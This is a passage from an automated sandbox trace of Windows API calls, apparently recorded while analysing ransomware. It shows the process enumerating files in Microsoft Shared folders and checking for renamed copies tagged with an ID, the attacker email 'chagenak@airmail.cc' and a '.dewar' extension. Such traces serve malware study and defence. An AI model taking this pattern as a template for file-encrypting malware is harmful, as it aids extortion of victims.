(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.122] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=383488) returned 1 [0221.122] CloseHandle (hObject=0x1d4) returned 1 [0221.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0221.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0221.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.471] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2556) returned 1 [0221.471] CloseHandle (hObject=0x1d4) returned 1 [0221.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0221.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0221.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.472] SetEvent (hEvent=0x118) returned 1 [0221.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.474] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2580) returned 1 [0221.474] CloseHandle (hObject=0x1d4) returned 1 [0221.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0221.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0221.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.475] SetEvent (hEvent=0x118) returned 1 [0221.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.895] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2600) returned 1 [0221.895] CloseHandle (hObject=0x1d8) returned 1 [0221.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0221.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0221.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0222.223] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=695296) returned 1 [0222.223] CloseHandle (hObject=0x1d4) returned 1 [0222.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0222.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0222.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0222.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.232] SetEvent (hEvent=0x118) returned 1 [0222.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0222.789] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3584) returned 1 [0222.789] CloseHandle (hObject=0x1d4) returned 1 [0222.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0222.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0222.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0222.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0222.791] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=40448) returned 1 [0222.791] CloseHandle (hObject=0x1d4) returned 1 [0222.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0222.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0222.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0222.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0222.793] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=448000) returned 1 [0222.793] CloseHandle (hObject=0x1d4) returned 1 [0222.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0222.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0222.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0222.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.087] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=224256) returned 1 [0229.087] CloseHandle (hObject=0x1c8) returned 1 [0229.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0229.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0229.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.088] SetEvent (hEvent=0x118) returned 1 [0229.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.898] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3584) returned 1 [0229.899] CloseHandle (hObject=0x1c8) returned 1 [0229.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0229.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0229.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0229.932] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=55680) returned 1 [0229.932] CloseHandle (hObject=0x1d0) returned 1 [0229.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0229.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0229.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.933] SetEvent (hEvent=0x118) returned 1 [0229.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0229.936] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1388416) returned 1 [0229.936] CloseHandle (hObject=0x1d0) returned 1 [0229.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0229.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0229.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0229.940] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=41864) returned 1 [0229.940] CloseHandle (hObject=0x1d0) returned 1 [0229.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0229.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0229.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0229.943] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=11656) returned 1 [0229.943] CloseHandle (hObject=0x1d0) returned 1 [0229.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0229.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0229.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0229.949] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1941) returned 1 [0229.950] CloseHandle (hObject=0x1d0) returned 1 [0229.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0229.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0229.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0229.955] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=105344) returned 1 [0229.955] CloseHandle (hObject=0x1d0) returned 1 [0229.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0229.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0229.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 